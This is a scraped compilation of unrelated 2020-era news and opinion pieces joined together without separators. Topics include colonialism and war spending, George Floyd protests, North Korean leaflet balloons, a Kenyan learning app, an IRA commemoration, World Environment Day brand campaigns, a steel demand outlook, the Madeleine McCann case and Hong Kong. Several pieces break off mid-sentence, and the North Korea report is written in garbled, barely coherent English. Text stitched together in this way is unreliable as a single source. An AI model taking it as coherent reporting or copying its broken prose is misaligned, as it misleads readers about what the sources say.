http://www.africaspeaks.com/reasoning/index.php?topic=8708.0;prev_next=prev

The series was broadcast by BBC Four in March 2007, and videos of the broadcasts are available on the Internet. Watching this eye-opening documentary can give us much insight into the link between racism and colonialism. We can also begin to see how both racism and colonialism are linked to US exceptionalism and neocolonialism.

Looking at the BBC documentary we can see how often in human history economic greed and colonial exploitation have been justified by racist theories. The documentary describes almost unbelievable cruelties committed against the peoples of the Americas and Africa by Europeans. For example, in the Congo, a vast region which King Leopold II of Belgium claimed as his private property, the women of villages were held as hostages while the men were forced to gather rubber in the forests. Since neither the men nor the women could produce food under these circumstances, starvation was the result.

Leopold's private army of 90,000 men were issued ammunition, and to make sure that they used it in the proper way, the army was ordered to cut off the hands of their victims and send them back as proof that the bullets had not been wasted. Human hands became a kind of currency, and hands were cut off from living men, women and children when rubber quotas were not fulfilled. Sometimes more than a thousand human hands were gathered in a single day. During the rule of Leopold, roughly 10,000,000 Congolese were killed, which was approximately half the population of the region.

Oligarchy and war

Today the world spends almost two trillion dollars ( $ 2,000,000,000,000) every year on armaments. This vast river of money, almost too large to be imagined, is the devil's dynamo driving the institution of war. Politicians notoriously can be bought with a tiny fraction of this enormous amount; hence the decay of democracy. It is also plain that if the almost unbelievable sums now wasted on armaments were used constructively, most of the pressing problems now facing humanity could be solved.

Because the world spends almost two thousand billion dollars each year on armaments, it follows that very many people make their living from war. This is the reason why it is correct to speak of war as an institution, and why it persists, although we know that it is the cause of much of the suffering that inflicts humanity, and that we live under the constant threat of an all-destroying thermonuclear war.

Money from wealthy oligarchs in military-industrial complexes buys the propaganda of the mass media and the votes of politicians. Numbed by the propaganda, citizens allow politicians to vote for obscenely bloated military budgets, the oligarchs are further enriched, and thus the circular flow of money continues. Excessive economic inequality is at the root of the problem of war, as well as the loss of our democratic institutions.

The poor suffer most in the COVID-19 pandemic

The poor are suffering most from the COVID-19 pandemic. While the rich can isolate themselves in comfort, working people with no savings are faced with the choice between risking their lives in unsafe work-places or starvation because of lack of income. Here are quotetions from a recently-published article by Jake Johnson entitled 'Grotesque': While 41 Million People Lost Jobs Due to Covid-19, US Billionaires Grew Nearly $500 Billion Richer, Common Dreams, May 28, 2020:

Billionaire wealth is surging at the same time that millions face suffering, hardship, and loss of life. This is a grotesque indicator of the deep inequalities in U.S. Society.

Statistics released Thursday by the U.S. Department of Labor show that with 2.1 million new unemployment claims filed last week, a staggering 40.7 million Americans have lost their jobs over just the past 10 weeks as mass layoffs induced by the coronavirus pandemic continue.

During that same 10-week period, according to a new analysis by the Institute for Policy Studies (IPS), the combined net worth of America's billionaires soared by nearly half a trillion dollars, bringing their total wealth to $3.4 trillion.

Equality, happiness and renewable energy in Scandanavia

The Green New Deal can simultaneously address the climate crisis and the problem of excessive economic inequality. In this context, it is interesting to look at the social and economic systems of the Scandinavian countries, Norway, Sweden, Finland, Denmark and Iceland.

In these countries the contrast between the rich and poor has been very much reduced. It is almost true to say that poverty has been eliminated in these countries. At the same time, the Scandinavians have strong policies to address the climate emergency. Thus Scandinavian successes are a counter-argument to those who say that the Green New Deal cannot be put into practice.

The Scandinavian countries also rank very highly on the Global Happiness Index and the Human Development Index, thus demonstrating the benefits of equality,

To achieve a happy and sustainable world, we urgently need to decrease excessive economic inequality, both within and between nations.

DOWNLOAD BOOK: Benefits-of-Equality-by-John-Scales-Avery.pdf

Other books and articles about global problems are on these links

http://eacpe.org/about-john-scales-avery/

https://wsimag.com/authors/716-john-scales-avery
The Hoboken demonstration organized by Allies4Justice has drawn more than 1,000 people and the large group has started its march from Maxwell Place Park to Pier A Park.

The crowd chanted in unison for about 45 minutes, Black Lives Matter, Say His Name: George Floyd, Say her name: Breonna Taylor, No justice, no peace" and I cant breathe." Before dying on a Minneapolis street on May 25, Floyd said those last words to a police officer who had put his knee into Floyds neck to restrain him.

Police Officer Derek Chauvin has been charged with homicide, and after days of protests across the country, three other officers involved in the arrest of Floyd have also been charged.

Speakers at Fridays event in Hoboken included Nevin Perkins of Black Men United, who organized Jersey Citys first protest. He condemned police violence against black Americans and gentrification in Hoboken.

Congressional candidate Hector Oseguera also spoke as protest organizers offered attendees voter registration cards.

"For 400 years we have seen our people murdered, Oseguera said. Were here because were tired.

As demonstrators chanted Say her name! Breonna Taylor, one organizer reminded the crowd that today would have been her 27th birthday.

Taylor was shot dead by Louisville police on March 13 when police with a search warrant used a battering ram to crash into her apartment. After a brief confrontation, they fired several shots, striking Taylor, a 26-year-old African-American emergency room technician, at least eight times.
The sister of Kim Jong Un told South Korea to neuter the activities of the protestors who are sending leaflets over the North-South Korean border, with anti-Pyongyang sentiments that according to Kim Yo Jung is not acceptable.

On Thursday, South Korea advised that it will make new laws to prevent activists from doing such activities, like flying leaflets that were anti-Pyongyang with another threat ending the agreement in 2018, should protest Seoul fail to comply, AP News.

South Korea considers diplomacy important and keeping lines open, between two sides that will entail the suppression freedom of expression, that will be seen as a negative.

Using balloons to send the message over the border has been done for many years, although Pyongyang frowns on it and sees it as an assault. Those opposed to North Korea have flown messages that are against the nuclear dreams of Kim Jong Un, with bad human rights tally.

At times, the police will stop the activists when some issues are afoot, but despite North Korean demands to stop it, police call it democracy and freedom that infuriates the north.

Recently, Kim Yo Jong expressed displeasure at the continuation of the practice that is not acceptable to her. To that end, she threatened to the military agreement and cut lines of communication, with a co-owned factory park which are marks of reconciliation for the two Koreas, according to the LA Times.

According to state media from Kim Yo Jung, who call the defectors doing the balloon flying 'human scum', and 'dogs' as betrayers of their nation, adding that the perpetrators should pay, an open reference to the Seoul government.

Also read: President Trump is Glad That Kim Jong Un is Alive and Well

One of the officials of South Korea's Unification Ministry, Yoh Sang-key, told the balloon campaigns are jeopardizing those living at the borders, and he plans to push for changes in laws, to help deal with these propaganda activities that cause tension with the north and south, said Wane.

If there is any regret over North Korea's threat to leave talks to help resolve, northern or southern tensions or inter-Korean deals. Yoh added they will exchange evaluation of the North Korean statement, and what the government considers as its correct stand about the issue.

Proponent if the move is the Korean Liberal Party and a satellite party it has, with a majority of 180 over 300 seats in the National Assembly by winning in the April elections. That give a majority vote to get an approval in the parliament.

One source from the Seoul presidential office, spoke on condition of anonymity, said the balloons were all bad and no good, with all aggravation for its efforts that it resolved to act decisively to any activity that is a security threat, reported Star Tribune.

Soldiers fired when South Korean activists were flying propaganda balloons in the DMZ, but no one was shot during the incident.

Announcing balloon launches are not announced anymore to surprise the police and get to launch their balloons without getting caught.

Kim Yo Jong's apparent displeasure and the perceived attack on Pyongyang has followed after South Korea's staying put and letting the US impose sanctions against North Korea.

As Kim Jong Un's sister gets more prominent, she said that authorities in South Korea will pay for the balloon launching, with corresponding backlashes.

Kim Yo Jong is keen on stamping out these protest at the cost of good relations, but will the North comply.

Related article: Kim Jong-Un Reappears: North Korea Wants New Policies for 'Nuclear War Deterrence'

@ 2022 HNGN, All rights reserved. Do not reproduce without permission.
Marking the start of the annual season of Creationtide, the Climate Sunday initiative begins this weekend with local churches across Britain and Ireland holding climate-focused services to explore the theological and scientific basis of creation care and of action on climate, to pray and to commit to action. With the climate crisis accelerating and greater public support for a green recovery post COVID-19, there has never been a more crucial time 
Are you worried about how your kids can access quality learning materials? Have you been wondering how to keep your kids productive during this lockdown period? Are you concerned about your kids' long term future and academic performance? Then, worry no more because the Zeraki application is here for you. The journey of a thousand miles starts with one step. In this case, the starting point is the Zeraki analytics app download on your PC or phone.

Image: facebook.com, @zerakiapp

Source: UGC

With uncertainty lurking in the education sector, you should get ahead of the curve by seeking help out your high school students and class 5-8 kids. Zeraki is a digital learning app that allows Kenyan students to get the best of e-learning. It provides the insight you need to make decisions about your child, your class, or your school.

Zeraki Analytics app

This app offers you the latest and most exhaustive system of compiling and analysing student data. It provides an intuitive interface for results analysis, marks entry, and bulk messaging to parents. The app comes in handy if you want to analyze the academic performance of your school, generate informative reports, and share the analysis of performance with the parents and students.

A parent is able to access their childs entire academic record and use that information to support their decisions, including a decision to support whatever learning gaps are identified using Zeraki Learning.

Image: facebook.com, @zerakiapp

Source: UGC

As a teacher, you spend a lot of time preparing your students for exams as well as in administering and grading exams. Student data itself is not useful, but when organized and presented in an easy to use and understandable manner, it becomes integral.

Zeraki analytics results give you a new and easy way to analyze and visualize exam results. You can make sense of academic data faster and observe interesting patterns that wouldn't be apparent from looking at tabular data.

READ ALSO: KCSE 2020: How to pass exams with ease

Zeraki analytics app features

Here are some of the interesting features that distinguish this app from other similar applications:

It allows you to analyze the exam results on the go from your phone

You can enter exam results via the app from the comfort of your home

You can send text messages to multiple parents with a single button click

You can generate a detailed spreadsheet and PDF reports including transcripts and report forms

It allows you to access any student's biographical and contact information anytime, anywhere

Parents can log in to the app to access their children's academic records and fee balance

Zeraki analytics app download

Are you a teacher or school administrator looking for a tool to help you analyze exam results and students' academic performance? Follow this procedure to download this app on your device:

Visit Google Playstore

In the search box, look up for the Zeraki Analytics app and tap on it

Click on the install button. The download will begin immediately.

Once the download is complete, you should tap on the install button

The app will be installed on your device.

Open the app and log in using your Zeraki Analytics username and password or register if you are a new user.

You are now set to begin analyzing the academic performance of your students.

READ ALSO: KCSE 2019 analysis: Best performed subjects

Zeraki learning app

Zeraki Learning app allows high school students to learn from Kenya's best teachers at their own time and pace. Students get to enjoy video lessons from the 8-4-4 syllabus, review classes they have already taken, or learn new material from the syllabus.

Image: facebook.com, @zerakiapp

Source: UGC

The app assists these students to identify their strengths and weaknesses and to focus their revision on areas that will best improve their performance. It gives the students the ability to study at home using video lessons, assessment tests, and assignments. On the other hand, the teacher can use this app to complement his/her teaching.

READ ALSO: ECDE certificate examination timetable and instructions 2020

Zeraki learning app download

Do you want to download the Zeraki learning app on your mobile device or tablet? Here is a step by step procedure on how to do so:

Visit Google Playstore

Search for the Zeraki Learning app in the search box at the top

Download and install it on your device

You will be able to get instant access to revision quizzes, video lessons, and assignments.

Zeraki learning app download for pc can be downloaded and installed using the same procedure.

Zeraki Companion for primary school students

Zeraki Companion is a fun and elegant learning app for primary school pupils, which brings learning to your doorstep. It allows pupils in classes 5-8 to learn from Kenya's best teachers at their own time and pace. It helps pupils identify their strengths and weaknesses and focus their revision on areas that will best improve their performance.

Image: facebook.com, @zerakiapp

Source: UGC

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READ ALSO: Free online courses in Kenya with printable certificates in 2020

Source: TUKO.co.ke
The family of IRA man George McBrearty remembered him at the weekend and said plans are afoot for a big public commemoration on his 40th anniversary next year.

New York lawyer and veteran Irish Republican Martin Galvin, also sent a statement in which he speaks of the need to make steps towards nationalist unity.

George McBrearty (24) was shot dead alongside Charles Pop Maguire (20) as the pair approached a car at Lone Moor Road on May 28, 1981, at the height of the Long Kesh hunger strikes.

Traditionally, family and friends assemble at Rathkeele Way to mark his anniversary but due to the Coronavirus pandemic it was a low-key commemoration this year.

Georges brother Danny chaired the event and his son of the same name read out a speech from Mr Galvin.

Steven Ramsey read out the roll of honour, while friend of the family Paddy Brown recited the Irish Proclamation.

The family received more floral tributes this year than at any other time.

Speaking at the event, Danny said: In recent times the people of Derry, Belfast, and throughout the country have seen a sustained campaign led by Tory MPs, veterans of occupation forces and their unionist allies using slogans like our soldiers are heroes not criminals.

These are the soldiers who before our very eyes murdered and wounded our peaceful citizens on Bloody Sunday, Ballymurphy and elsewhere in our country.

They are trying to block the HIU and other genuine inquiries into their behaviour because they will reveal in many instances, the facts are that British and crown forces are criminals, not heroes!

We cannot ever forget our real heroes, who were all those like George and Pop, who despite overwhelming odds rose up to liberate Derry and the six counties from British rule and sectarian injustice.

He continued: Therefore in a way we are obligated to hold this ceremony and future commemorations.

We will ensure that our Irish patriots will never be forgotten, they are the real heroes.

A lot of us here today will always remember the month of May 1981, Bobby Sands, Francis Hughes, Ray McCreesh and Patsy OHara died on hunger strike.

Then George and Pop were mortally wounded by the SAS. How can we ever forget their sacrifice?

The McBrearty family are already planning a big public commemoration to remember the 40th anniversary of George, Pop and all the hunger strikers and of course the 30th anniversary of our brother, and my mothers son Pat.

Finally, the family want to send a message of appreciation to all the health workers, some of which are family members, who despite personal risks, are working to protect us all in these times.

We also gratefully remember our comrade Maurice Healy who was a guiding hand in the building of the Vol. George McBrearty commemoration.

Above: George's brother, Danny, who chaired this year's event pictured in front of floral tributes.

'NATIONALIST UNITY'

Martin Galvin expressed disappointment that he couldnt attend this year.

He did however send a message from New York, a city badly affected by Coronavirus which is gradually emerging from lockdown.

In it he praised the McBrearty family and spoke about the steps that are needed to bring about a united Ireland.

Mr Galvin stated: "A vital part of this commemoration usually occurs when the McBrearty family personally hands written invitations to diverse Republican, nationalist, ex-pow and civil rights groups in the city, alongside publicly inviting anyone who wants to remember Irish patriots with pride.

Every name on the Derry role of honor is read and remembered. The underappreciated hardships and heartaches suffered by all the families of these patriots are remembered.

"I applaud the McBrearty Family for showing that even in today's dire circumstances, Derry does not forget those patriotic men and women, who in terrible times against great odds and British terror, gave their lives so Derry and the six counties could take their rightful place in an Ireland free of British rule and injustice.

He added: I will be with them in spirit this year and plan to be with them again in person next year.

"Arlene Foster believes and boasts she will never see a border vote in her lifetime, much less a united Ireland. Her words are shared and encouraged by British officials.

If we are ever to prove them wrong, we will need to work for and achieve the sort of unity which the George McBrearty Commemoration exemplifies. We saw that type of unity, inspired by the Hunger Strikers in 1981.

Hopefully next year's commemorations of the 40th anniversary, of the Hunger Strikers and of George McBrearty, can be steps towards the nationalist unity needed to get the Irish unity which George McBrearty, the Hunger Strikers, and so many others died to achieve.
OZiva, pioneers in Clean, Plant-based nutrition in India, recently launched #BetterEkSaath campaign on their website and social media platforms. The campaign 1 Story 100 meals aims to encourage people to share their stories of evolution, inspiration & change, while doing it for the greater good of donating meals to the people in need. The campaign went live in May with no definite time period.

As a company, OZiva has always encouraged people to adopt a healthy lifestyle. Through the campaign, they are sponsoring 100 meals for every featured story, and for every participation in workout challenges, OZiva is sponsoring 1 meal per entry. This way they can collectively sponsor more meals for their charity partner ISKCON Annamrita Foundation. The campaign is live through their official website and Social Media Platforms like Instagram, Youtube channel (OZiva TV)

Commenting on the initiative, Aarti Gill, co-founder of OZiva said, This is more than a campaign for us, as there is a lot of intent, honesty as well as responsibility behind it. We want people to look after themselves, work on their own transformation (physical or mental) , while we will look after the community on their behalf. Through the campaign, we are trying to contribute to the nation at this trying time while encouraging people to take a step further in becoming a better version of themselves. In the first fews days of the campaign going live, we got 1000+ requests via interest forms, Instagram DMs and on our existing customer base from people to share their stories. #BetterEkSaath has already struck a chord with people as they are willing to become a part of our movement. In future, we are hopeful of donating atleast 50,000 meals through the initiative.

People can share their stories by using #BetterEkSaath and tagging @ozivanutrition on Instagram/Facebook. They can also participate in #OZivaFit workout challenges on Instagram using #OZivaFit & #BetterEkSaath
Source: Xinhua| 2020-06-05 03:11:24|Editor: huaxia

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Siddiq Tawer (C), a member of Sudan's Sovereign Council and chairman of the Higher Committee for Health Emergencies, meets with Chinese Ambassador to Sudan Ma Xinmin (2nd L) and Zhou Lin (2nd R), head of a Chinese medical team, in Khartoum, Sudan, on June 4, 2020. Siddiq Tawer on Thursday said that China's success in controlling the COVID-19 represents a model Sudan is seeking to utilize to confront the disease. (Xinhua/Ma Yichong)

KHARTOUM, June 4 (Xinhua) -- A senior Sudanese official on Thursday said that China's success in controlling the COVID-19 represents a model Sudan is seeking to utilize to confront the disease.

Siddiq Tawer, a member of Sudan's Sovereign Council and chairman of the Higher Committee for Health Emergencies, made the remarks during a meeting with a visiting Chinese team of medical experts, said Sudan's Sovereign Council in a statement.

"The visit of the Chinese medical delegation reaffirms the strong and deeply-rooted ties between Beijing and Khartoum," Tawer was quoted as saying.

He added that China's success in controlling the COVID-19 will greatly help Sudan, which will seek to utilize China's successful experiences in the battle against the pandemic.

Zhou Lin, head of the Chinese medical team, said that the Chinese experts had exchanged experiences with Sudanese counterparts in diagnosis, treatment and prevention of the virus and how to contain it in a short time.

The Chinese experts held talks with the experts from Sudan's Health Ministry and hospitals, as well as representative of the World Health Organization in Sudan, said Zhou.

He praised the measures taken by Sudan's Higher Committee for Health Emergencies to confront the COVID-19.

Chinese Ambassador to Sudan Ma Xinmin reiterated China's concerns about the situation faced by the Sudanese government and people amid the coronavirus pandemic.

The Chinese team in Sudan is one of the biggest medical teams sent by China to foreign countries to help the anti-coronavirus fight.

The Chinese medical team arrived in the Sudanese capital Khartoum on May 28 to support Sudan's efforts to control the COVID-19 pandemic.

China has already provided help to Sudan in its anti-coronavirus fight.

In late March, the Chinese embassy in Sudan donated over 400,000 surgical masks to the Sudanese government. On April 23, Chinese medical experts held a video conference with Sudanese counterparts to share China's experiences in fighting COVID-19.

Sudan has so far reported a total of 5,499 COVID-19 cases in the country, including 314 deaths and 1,711 recoveries. Enditem
For the past few months, Hervey and her mother have had a tough time. Theyve been unable to find steady housing. When she found this out, Green and some of her friends helped put the family up in a downtown hotel. She brought over groceries and a gift card to help with things like diapers.
As the world deals with the pandemic, people have finally come to recognise the gravity of climate change and pollution. The core reason for these problems is mans interference with the natural order of the environment. The situation has also thrown a sharp focus on the link between people's health and that of the ecosystem, emphasizing the importance of conserving nature.

Therefore, this year, on June 5, brands are coming out to find a connection with nature and to take a pledge to protect it. From Helo to Forevermark, brands across the spectrum have come up with campaigns centred on World Environment Day to amplify the message of preserving ecology.

Talking about why it has become important for brands to align with natures cause, Parag Kulkarni, Managing Director, A.O. Smith India said, Protecting biodiversity has become a business imperative for companies. The alarming rate of deforestation and land degradation in recent years has highlighted the urgent need for action to safeguard the rich biodiversity. The ongoing COVID-19 pandemic has heightened this reality (by underlining the importance of fresh and non-contaminated air) and has also thrown into sharp focus the link between people's health and that of the ecosystem, emphasizing the importance of conserving nature.

He added, The current crisis has given us a unique opportunity to pause, reflect and rethink how to do a balancing act with nature to ensure a harmonious relationship. Hence, on the occasion of this years World Environment Day on June 05 which is themed as Celebrate Biodiversity, all the stakeholders must come together to save and protect our environment from different environmental challenges, the world is facing today.

Leading diamond brand, Forevermark reiterated their commitment to protect wildlife and keep responsible sourcing at the very centre of their business to build a beautiful tomorrow. Sachin Jain, President, Forevermark, told e4m that every day, Forevermark and the De Beers Group commit to protecting the natural world and positively impacting the countries where their natural diamonds are sourced.

He said, A Forevermark diamond is a lifelong reflection of the beauty, perfection, and infinite variety of nature. Both diamonds and wildlife share the concept of forever, and this concept depends on what we do today to make sure we have a future, which is indeed forever.

He further informed us, that the brands have been active in Rhino conservation for many years, including conservation, breeding and relocation programmes. The Moving Giants which is the elephant conservation programme at the Venetia Limpopo Nature Reserve in South Africa has been extremely successful where 200 elephants were moved over more than 1,000 miles to Mozambique, where there is a need for re-population.

"De Beers ensures that for every hectare of land affected by the groups mining activity, 6 hectares are set aside for conservation, equating to approximately 200,000 hectares, 2.5 times the area of New York City. Our business is based on recovering nature and treasuring these successes, he added.

Nestle India collaborated with Stree Mukti Sanghatana and RECITY to release a poetry film, Lets imagine a healed world as part of Project. The poem urges people to collectively imagine a cleaner environment that helps biodiversity flourish.

According to Sanjay Khajuria, Director - Corporate Affairs, Nestle India, During the pandemic, Nestle India through its Project Hilldaari and in collaboration with local stakeholders has reached out to waste professionals in the select tourist towns of India and enabled them to face the crisis by providing essentials, creating awareness and equipping them with safety gears. On the occasion of World Environment Day, the Hilldaari poetry film also encourages collective efforts for a better tomorrow and resonates the need for respecting the environment.

Helo too has partnered with Waste Warriors to mark World Environment Day with digital #NamasteNature campaign. Talking about the campaign, brands spokesperson said, On the World Environment Day, we have launched #NamasteNature, an in-app campaign aligned with the UN theme for World Environment Day 2020- 'Time for Nature, in partnership with NGO Waste Warriors. The campaign focuses on spreading awareness amongst users around solid waste management techniques and driving meaningful conversations on environmental issues amongst the larger online community.

Finolex Pipes, in collaboration with Mukul Madhav Foundation, Robotex India & Robotex International, Hack the Crisis  India, and Schbang, is organising a Digital Clean-up Day to celebrate the World Environment Day. As per companys official statement, the reason behind selecting such a unique theme is that, people dont often realize that in the digital world there is also pollution that influences the actual environment. Almost all online activities increase our carbon footprint. Brand cited McAfees report published in 2009, which said that it takes the same amount of energy to deliver billions of spam e-mails as two million US households use in a day. By 2025, it is estimated that data repositories will be using a fifth of all produced energy, as well as be some of the greatest polluters. The statement read.

Brands like Surat Police, Alpino Health Foods. Four Buttons have also came up with creative on social media to make the day.

The theme for World Environment Day 2020 is Time for Nature and the Ministry of Environment, Forest and Climate Change have launched various programs under the theme Celebrating Biodiversity through Culture.

Read more news about (internet advertising India, internet advertising, advertising India, digital advertising India, media advertising India)
Maharashtra chief minister Uddhav Thackeray will visit Alibag in Raigad district on Friday noon to assess the extent of the damage -- caused by cyclone Nisarga that made landfall a couple of days ago -- and also the rescue and relief measures that have been undertaken by the authorities concerned.

He will visit a few cyclone-hit villages adjoining Alibag and hold a meeting at a hall near the district collectors office with local leaders and officials to get a sense of the losses incurred due to the natural disaster.

The state government is likely to announce a relief package soon.

Thackeray will reach Alibag via Mandwa jetty around noon and interact with the villagers in some of the Nisarga-hit villages.

His son and state environment minister Aaditya Thackeray; textiles, fisheries, and guardian minister for Mumbai Aslam Shaikh; Raigad Member of Parliament (MP) and Nationalist Congress Party (NCP) leader Sunil Tatkare; guardian minister for Raigad Aditi Tatkare; and senior officials will accompany the CM.

The CMs convoy will travel by a roll-on/roll-off (RoRo) passenger ferry service vessel, which will leave from Orange gate in south Mumbai.

Eight tehsils, including Shrivardhan, Diveagar, and Harihareshwar, have no electricity and tele-connectivity since Wednesday afternoon. The interior roads are still blocked because of uprooted trees. The CM has been advised not to visit interior parts of the village, as it will disrupt the relief and rehabilitation work, said an official from the chief ministers office (CMO).

The CM is expected to direct the local administration for spot relief measures to the villages that have been cut off from the rest of the district. Over one lakh houses have been damaged. The affected villagers are in immediate need of foodgrains and financial aid. A decision on relief measures is expected after the CM holds the meeting, said an official from the Raigad district office.

Over one lakh trees were uprooted. However, the blockade on state and national highways was cleared on Thursday morning. Our first priority is to restore electricity in the affected areas in a bid to resume tele-connectivity at the earliest, said Padmashree Bainade, resident deputy collector, Raigad.

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Global steel demand is expected to contract this year as coronavirus-induced lockdowns and disruptions have impacted industrial activities, accordingly the latest Short Range Outlook from the World Steel Association (WSA), the international trade body for the iron and steel industry.



The WSA predicts steel demand to drop 6.4% to 1,654 million tons (Mt) in 2020 due to the coronavirus pandemic. The association, however, envisions demand to recover next year and rise 3.8% year over year to 1,717 Mt.



The outlook for 2020 assumes that lockdowns in most countries continue to be eased during June and July and major steelmaking economies do not suffer from substantial secondary waves of the virus outbreak.



A faster recovery in China than the rest of the world is expected to mitigate the anticipated decline in this years global steel demand. Demand in China, the worlds top steel consumer, is predicted to rise 1% in 2020.



The association expects steel demand to drop significantly in most countries, in particular in the second quarter, as coronavirus-led shutdowns and disruptions in supply chains have hurt consumption. While lockdowns have hurt all steel-consuming sectors, automotive and mechanical machinery in particular are highly exposed to a protracted demand shock. The situation is forecast to get better with the easing of restrictions that started in May, but the path of recovery is likely to be slow.



Recovery in China to Ease Weaknesses Elsewhere



A rebound in economic activities is expected in the third quarter of 2020 as most countries have been gradually reopening from lockdowns since May, the WSA noted.



The economic recovery in China, which came out of the lockdown ahead of other countries, started in late February and is rapidly approaching normalcy. Chinas GDP shrank 6.8% year over year in the first quarter of 2020, the first contraction in decades, as travel restrictions and quarantine measures hurt industrial production.



The WSA said that all major steel-consuming sectors in China were back to near full productivity by the end of April. It expects a rebound in steel demand in China in the second half of 2020 driven by the construction sector that has already attained full productivity. Construction will be supported by infrastructure investment driven by Beijings new infrastructure push. The automotive industry is also expected to be backed by incentive measures. However, the recovery in Chinas manufacturing sector is expected to be slow due to the global economic slowdown.



Meanwhile, the WSA expects steel demand in the developed economies to fall 17.1% in 2020. Demand in the European Union (EU) is forecast to contract 15.8% this year. The manufacturing sector in the EU was expected to rebound in 2020 following a recession in 2019. However, it has been pushed into a deeper recession amid lockdowns that led to a significant decline in orders. The WSA envisions the automotive sector in the region to be the worst hit.



In the United States, the trade body predicts steel demand to drop 22.9% in 2020. The pandemic has led to a sharp manufacturing recession in the United States that is expected to hit the bottom in the second quarter. A decline in oil prices has put pressure on investment in the energy sector while lower income and confidence due to rising unemployment has impaired residential construction. Non-residential construction is also expected to decline in 2020.



Steel demand in Japan is forecast to decline 19.1% in 2020 as automotive and machinery sectors in the country have been hurt by lower exports and stalling investments. The WSA also sees demand in South Korea to dip 12.7% this year as a weak domestic economy and weaker export markets are expected to lead to a double-digit drop in major steel-using sectors.



Meanwhile, steel demand in the developing economies (excluding China) is projected to contract by 11.6% in 2020. Stricter lockdown measures in certain countries due to inadequate health capacity, limited fiscal support, lower commodity prices and currency depreciation are among the factors that are expected to contribute to the decline.



Notably, the WSA expects India to witness a 18% decline in steel demand in 2020. Industrial activities in India have been ground to a halt as the country has implemented the most stringent nationwide lockdown measures in the world. The recovery in the countrys construction sector is expected to be slow due to labor shortages while the automotive sector will be hit hard by slower demand recovery and supply chain disruptions, the associat noted.



Steel Stocks Bearing the Brunt of Virus Impact



Shares of steel companies have gotten punished this year amid the coronavirus outbreak. In particular, worries over a slump in steel demand has triggered a broad-based selloff in U.S. steel stocks. The pandemic has dealt another blow to the embattled U.S. steel industry which reeled under the effects of a sharp decline in domestic steel prices and damaging impacts of the U.S.-China trade war last year.



While shares of U.S. steel companies have gained some ground of late partly due to a demand recovery in China, they are still down year to date. Shares of major American steel makers such as United States Steel Corp. X, Nucor Corporation NUE and Steel Dynamics, Inc. STLD have tumbled roughly 18%, 21% and 17%, respectively, year to date. ArcelorMittal MT, which is among the biggest steelmakers in North America, has also seen its shares tank roughly 35% this year.



United States Steel, Nucor, Steel Dynamics and ArcelorMittal each currently carry a Zacks Rank #3 (Hold).



You can see the complete list of todays Zacks #1 Rank (Strong Buy) stocks here.



The U.S. steel industry is rattled by a slowdown in domestic steel demand across major end-use industries including construction. The coronavirus-led demand destruction has forced domestic steel mills to idle operations and scale down production.



The pandemic also led to a downswing in U.S. steel prices amid slowing demand. The benchmark hot-rolled coil steel prices retreated to multi-year lows during the first quarter of 2020. However, U.S. steel prices have gained some traction over the past few weeks on the back of steel mills price hike actions and higher scrap prices. However, the current weak economic and demand situations coupled with the deepening Sino-U.S. rift do not look supportive for a significant uptick in steel prices over the near term, thus limiting prospects of a rebound in steel stocks.



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German prosecutors have put out an appeal for information about a known sex offender who they believe killed British girl Madeleine McCann. According to reports, Madeleine McCann disappeared from her familys holiday apartment in Algarve, Portugal from her room while her parents were dining in a nearby restaurant back in 2007. The disappearance occurred a few days before Madeleines fourth birthday. Authorities believe Madeleine to be dead and are treating this case as a suspected murder.

Parents continue to cling to hope

According to reports, Hans Christian Wolters, spokesman for Braunschweig prosecutor's office in northern Germany has revealed that German authorities are looking for a sex offender who already has past convictions that include the sexual exploitation of children and lived in Algarve between 1995 and 2007 near Praia da luz. The authorities are now moving forward with the assumption that Madeleine is dead even though her parents, Kate and Gerry McCann continue to cling to the hope that she is alive.

Reports have identified the suspect the German authorities are looking for as Christian B, and he is reportedly serving a prison sentence for offences related to narcotics. He also faces separate charges for the rape of an American woman in Portugal in 2005.

Read: COVID-19 Patient Missing From KEM Hospital Since May 19: Kin

Read: Madeleine McCann's Disappearance: Police Finds New Suspect, Parents Call It 'significant'

Speaking to a British news media outlet, Clarence Mitchell, a spokeswoman for the family said that it was "potentially very significant" development. Elaborating further she said that both the parents had never given up on the hope that their daughter might be found alive but they are realistic. She further said that regardless of the outcome, Madeleine's parents were determined to bring to justice whoever was responsible for it.

(Image Credit Twitter/@Stanley14238408)

Read: Missing Mexican Lawmaker's Body Found Following Abduction

Read: German Identified As Missing UK Girl Case Suspect


By John J. Metzler





The crisis has been brewing for months. Storm clouds were gathering around Hong Kong's splendid bay as China's communist authorities put the vice grip squeeze on democratic Hong Kong's political rights and social freedoms. The world watched aimlessly until the United States and a few fellow democracies said "Stop."



President Donald Trump threw down the gauntlet to Beijing's leadership. In a measured but tough speech on a wide range of issues implicating China from having dismantled the American industrial economy, profited from unfair trade deals and industrial espionage, the president addressed the Hong Kong crisis head-on.



But first he warned poignantly, "The world is now suffering as a result of the malfeasance of the Chinese government. China's cover-up of the Wuhan virus allowed the disease to spread all over the world, instigating a global pandemic that has cost more than 100,000 American lives."



Trump added, "China has total control over the World Health Organization  we will be today terminating our relationship with the World Health Organization." Washington will redirect its $440 million WHO funding to other global public health needs.



Earlier in the week the U.S. planned an urgent U.N. Security Council meeting to address the deteriorating political situation in Hong Kong. China predictably blocked the formal session. Nonetheless the United States and United Kingdom pushed back.



During a subsequent discussion in the Council, U.S. Ambassador to the U.N. Kelly Craft stated forcefully, "The PRC's actions to undermine the Sino-British Joint Declaration and the Basic Law eviscerate the free society that has underpinned Hong Kong's success since 1997."



Britain's acting Ambassador Jonathan Allen added, "This legislation risks curtailing the freedoms that China has undertaken to uphold as a matter of international law."



The communist crackdown in Hong Kong today could well presage similar bully boy tactics toward democratic Taiwan, over which Beijing has never renounced the use of force to "bring back to the Motherland."



Britain holds a special moral responsibility toward its former crown colony in the Far East.



In 1984 Britain and China signed a formal treaty in which the colony would revert to Chinese control in 1997. Importantly the deal allowed for the heralded "One country, two systems," a formula whereby Hong Kong would retain its legendary free market and social freedoms for a 50-year period. For a while, China kept to the bargain but over the past few years the winds have changed.



While Britain has done little to chastise the PRC for its political pressures on Hong Kong's freedom, Prime Minister Boris Johnson's government would be wise to mobilize global opposition not only at the United Nations but as importantly through the Commonwealth, the Group of 54 predominantly former British colonies and as mostly democracies, may be quicker to support censuring China. Australia, Canada and India are among them.



President Trump warned, "Hong Kong is no longer sufficiently autonomous to warrant the special treatment that we have afforded the territory since the handover. China has replaced its promised formula of 'one country, two systems' with 'one country, one system.'"



Thus the U.S. may cut the special trading status we have with Hong Kong as well as restrict Chinese firms with listings on the New York Stock Exchange. Chinese companies on American exchanges have surprisingly not been subject to the same financial transparency as other listings.



